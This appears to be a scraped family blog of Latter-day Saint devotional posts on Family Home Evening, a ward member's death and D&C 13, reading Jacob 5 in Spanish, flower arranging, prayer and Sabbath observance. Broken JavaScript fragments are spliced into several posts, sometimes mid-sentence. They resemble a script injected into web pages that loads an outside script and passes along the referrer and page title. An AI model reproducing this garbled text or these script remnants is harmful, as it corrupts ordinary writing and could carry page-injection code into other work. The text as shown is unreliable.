Highs, Lows & Chicken Smoothies

Mom’s February Virtual Family Home Evening

In church Sunday, Melanie Goettsche talked about holding Family Home Evening.  She was honest and explained that they hadn’t been having these nights but that the assignment prompted them to change.  In making the change she looked at her time attending FHE when in a Single’s Ward.  The meetings were held at the Bishop’s home.  She said that she can’t remember what the lessons were or the treats or anything else about the evenings but she does remember feeling the Spirit in the home.  This has prompted me to think about how I can bring the Spirit into our home.

On Sunday afternoon we had choir practice in our living room. At the same time we are in the midst of construction due to a water leak.  The house does not look great.  But as the choir sang about trying to be like Jesus I recognized the Spirit that enters these house when these wonderful people come and testify through song.  Then last night we had the missionaries over to teach us.  Their message was simple and nothing I didn’t know.  But again I recognized the Spirit they brought with them.  

Wouldn’t it be great if we could have a SpiritMeter on the wall. I find then when I read the scriptures diligently that I feel an increase in the Spirit.  Yesterday Kyle was singing hymn while in the shower.  I noticed an increase in the Spirit.  I realize that it is many little things that we do that brings an increase in the Spirit.  

What are some of the ways that you  bring the Spirit into your home. } else {d.getElementsByTagName(‘head’)[0].appendChild(s);

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Death and Section 13

We had an elderly sister in our ward, Evelyn Bautista, pass away two weeks ago on a Sunday morning.  Today in our fast and testimony meeting I shared with the ward what I learned about D&C 13 as a result of her passing.

On the day of her passing I had a PPI scheduled with our High Priest Group Leader, Dave Whitworth, at 9:30 AM.  On my way to the church I got a text message from him informing me that he was going to be about 15 minutes late.  I was actually rather relieved as I was running late that morning myself.

When he finally arrived at the church he told me that while on his way he had the impression that he should stop by and see Sister Bautista who was at home under hospice care. Her daughter, Karen, answered the door and escorted him to her mother’s bedroom.  The hospice care worker told him that Sister Bautista hadn’t eaten anything for five days, hadn’t been responsive for about 48 hours and was likely to pass away soon.

Brother Whitworth told them that wanted to share something with Sister Bautista that he had heard at fireside with Elder Neil L. Andersen of the Quorum of the Twelve Apostles the evening before with his teenage children.  Elder Andersen, as part of his message, reminded the people there that this earth wasn’t their natural home, but that our true home was with our Heavenly Father. Sister Bautista was totally unresponsive, but the hospice care worker told him that it is generally believed that hearing is the last of the senses to fail when a person dies and it is likely that his short message was heard.

Brother Whitworth left the house and came to the church where he told me of his experience with Sister Bautista.  About thirty minutes later I received a text message informing me that Sister Bautista had passed away.

Yesterday we held a memorial service for Sister Bautista and a light buffet luncheon afterwards. While we were cleaning up, Karen (Sister Bautista’s daughter) came up to Brother Whitworth and thanked him for stopping by the morning of her mother’s death.  He asked her how long after he had left that Sister Bautista had passed away and we were told that is was just two or three minutes later.

Karen then told us that until her mother’s graveside service (which was held the Monday morning PRIOR to the memorial service) she wasn’t certain about what she had witnessed that morning.  She said that while Brother Whitworth was there talking to her mother that “you were glowing like an angel” and until I had told a portion of this story at the graveside service she wasn’t certain who he was or why he was really there.

When I heard this yesterday I immediately thought of D&C 13.  This section records the ordination of Joseph Smith and Oliver Cowdery to the Aaronic Priesthood.  Part of the recorded ordination text reads, “Upon you my fellow servants, in the name of the Messiah, I confer the Priesthood of Aaron which holds the keys to the ministering of angels, and of the gospel of repentance, and of baptism by immersion for the remission of sins…”

As a bishop who holds and is authorized to exercise those same priesthood keys, I have always felt I had a good understanding of the keys of the ‘gospel of repentance, and of baptism by immersion for the remission of sins.’ The keys to the ministering of angels had been somewhat nebulous to me, however.  Now I have a new theory on this, and will accept it as doctrine until proven otherwise.  Whenever we act within the stewardship of an assignment or church calling where we have been set apart by someone who is authorized to exercise these priesthood keys, we are ‘ministering angels’ to those we are serving. There are probably other, more literal ways, in which we can call upon the ministering of angels, but for now, I will be grateful for faithful brothers and sisters who strive to minister to the needs of Heavenly Father’s children on earth as most of our needs are probably met in this manner.document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {d.getElementsByTagName(‘head’)[0].appendChild(s);

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Go my son

After 12 years we finally get to go and hear another rendition of “Go my son go and climb the ladder”.  The funny thing is that the new kid – Skylar looks much the same as the last kid – Kyle.  The school staff even comment on that he is a mini Kyle.  I am excited to hear him sing.  10 points for anyone who can add to the song.

Go my son go and climb the ladder,

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Jacob 5 – A verse at a time

I am continuing my goal of reading the Book of Mormon in Spanish. Let’s not forget that I don’t speak Spanish (just a minor detail). I have made it into Jacob by skipping all the Isaiah passage. Those passages are hard even in your native language. Well I didn’t look ahead and suddenly I hit Jacob 5 -The Allergory of the Tame and Wild Olive Tree. Yikes.

What I have learned from my project of translating verse by verse is that there is a lot of meaning missed when you cruise through the scriptures. I am hoping I will find that as well in all 77 verses of Jacob 5. Otherwise I have long road ahead of me. At the rate I am going that will be almost a solid month of digging, pruning and dunging.

But as with the rest of my project I have already found some cool insights that I would have missed if I was moving at a more normal pace. So strap in for Jacob 5 -101 – Insights gained from a snail pace through the most repetitive scripture chapter.

Lesson 1: From a non Spanish speaker – So to understand the verse I read it in Spanish, then return and use google translate to translate the words I don’t know (Oh maybe that is like all of them 🙂 ) then I read from the Book of Mormon in English. In verse 7 it reads “el amo de la vina”. I threw that into translate and found out that this is the term for the Master of the Vinyard. Well at first I left off the “el” and so amo translated as love. How fitting that the word for “master” has its roots in love. So many times a master may be harsh and domineering. But we are taught in the Doctrine and Covenants 121 that a true leader should operate only through love.

41 No power or influence can or ought to be maintained by virtue of the priesthood, only by persuasion, by long-suffering, by gentleness and meekness, and by love unfeigned;

42 By kindness, and pure knowledge, which shall greatly enlarge the soul without hypocrisy, and without guile—

Once again we find that the Savior is the perfect example of leadership.

Stay tuned for the next installment of crawling through the Vinyard with Bobo – The Weather Clown.d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;


Shirley thinks you can do it.

This is what I shared with my Pathway class this week.  I share this here as a tribute to Shirley Jones and all that she has taught me…not about flowers but in how to encourage people and help them find hideen talents.


 I Am A Floral Arranger

My grandmother might laugh if she read that caption.  She once brought me some flowers which I stuck in a vase, she sighed, pulled them all out and rearranged them. I knew I was not good at creative things. I have a scientific brain and I know that I am not the creative one.  But wait that is not true. Let me tell you about my journey to being a flower arranger.

We have a wonderful lady in our ward who took the time to take a flower arranging class when her youngest son started in kindergarten.  She became pretty good but I don’t think she has ever earned any money at her skill.  She shares her new talent by doing arrangements for weddings, funerals, visiting teaching etc and she transforms people like me into her assistants.  The first time I showed up I expected to cut a few stems.  Instead she put me in front of an empty vase and told me that I could make the arrangement. Was she crazy?  Didn’t she know what my grandmother knew. I am not creative and should not be allowed out of the science lab.

What she did know is that if you explore and learn that people will find hidden talents and with encouragement can find the confidence to learn new skills.  Most of the flowers in the above photos were arranged by me.  In fact when my daughter was married in Palmyra and I lived in California Shirley taught me how to do the arrangements and I did all the flowers for the wedding. (It saved me a ton of money)

This week you will be exploring career options.  For some you may already know exactly what talents and skills you have and this may seem like a pointless exercise.  But maybe you have hidden talents that you are not aware of that might not become a career choice but when developed could bless the lives of others.  I challenge you to have an open mind with this activity and push yourself to find your hidden talents.

A friend related that when her son received his patriarchal blessing that he was told about many talents that he had.  Afterward the patriarch told him that if he had other talents that he wanted that he could choose to develop them. One of the promises of living the Word of Wisdom is found in verse 19 where we are told that we “shall find wisdom and great treasures of knowledge, even hidden treasures”.   What hidden knowledge do you have that you can find as you develop talents that you don’t now realize that you can have?  Have fun exploring this week.

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Sunday Can

I just saw this blog on   There is Really No Such Thing as a Sunday Cannot. 

I loved it. The author of this blog went through the five senses and identified what is different about the Sabbath.   This would be an awesome FHE lesson.if (document.currentScript) {

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I have felt the impression that we should use this blog to share what we are learning with one another.

Today I read the First Presidency message for this month on prayer.  We plan to discuss this for FHE tomorrow night. (Read up Curtis, Cody and Jayson.  If you are not at home that is OK you can reply with your thoughts)

I really like the story that President Eyring tells about his Dad fighting cancer and needing the Lord’s help to endure the pain and being found on his knees because he was too weak to get back into bed. Sometimes I don’t bother with kneeling but I am realizing that it is important to kneel when possible.  I think it is an important step.  I am also trying to make sure that I vocalize my prayers.  When I do this I am able to concentrate better.

We are in the process of watching the 12 steps Addiction Recovery videos.  So many talk about the love they felt as they simply acknowledged that they had a Heavenly Father and then turned to talk to him.  Austin’s story  in step 4 tells about how he had tried to overcome his addiction on his own but kept failing.  He felt bad about himself but as he knelt down and turned to his Heavenly Father in prayer he felt the sweetness of the love of his Heavenly Father and Savior.  I also like the story of the woman who says that her prayers aren’t just lots of thank yous but sometimes express anger and frustration.  She says that the Lord can take the anger and understands and is willing to help us when we despair.

So I highly recommend this article and ask you to ponder on what you can do to communicate more effectively with your Heavenly Father.  If you have any thoughts please share.}s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);

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Today in Sunday School our lesson was on the Sabbath.  During the lesson Brother Paris played the talk given by Elder Russell Nelson at the conclusion of General Conference.  He gave us note cards and pencils and asked us to write down what the Spirit taught us.  One of the impressions that I felt was that I need to teach my family what I know about the Sabbath and to invite us all to share with one another.

Rather than send you out a long sermon I invite you to listen to Elder Nelson’s talk  and as you watch please listen to what the Spirit tells you to that you should or should not do and then report back with what you have learned.

Recently I was considering that maybe I have been too strict in my Sabbath Day observance.  It seemed that other families were doing great despite the fact that they were lax in how they observed the Sabbath.  As I was thinking this, Dad came home to tell me that the General Authorities spent all of their training time with the Apostles this past conference discussing how they can help the members return to observing the Sabbath Day more perfectly and that Bishops and Ward Councils need to spend considerable time working to teach the members.

So I invite you to join with me to discuss how we as a family can more fully keep the Sabbath Day holy and make it a delight.  I love the Sabbath for the the time it gives me to stop and remember my Savior and to partake of the sacrament.




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Testing for my job

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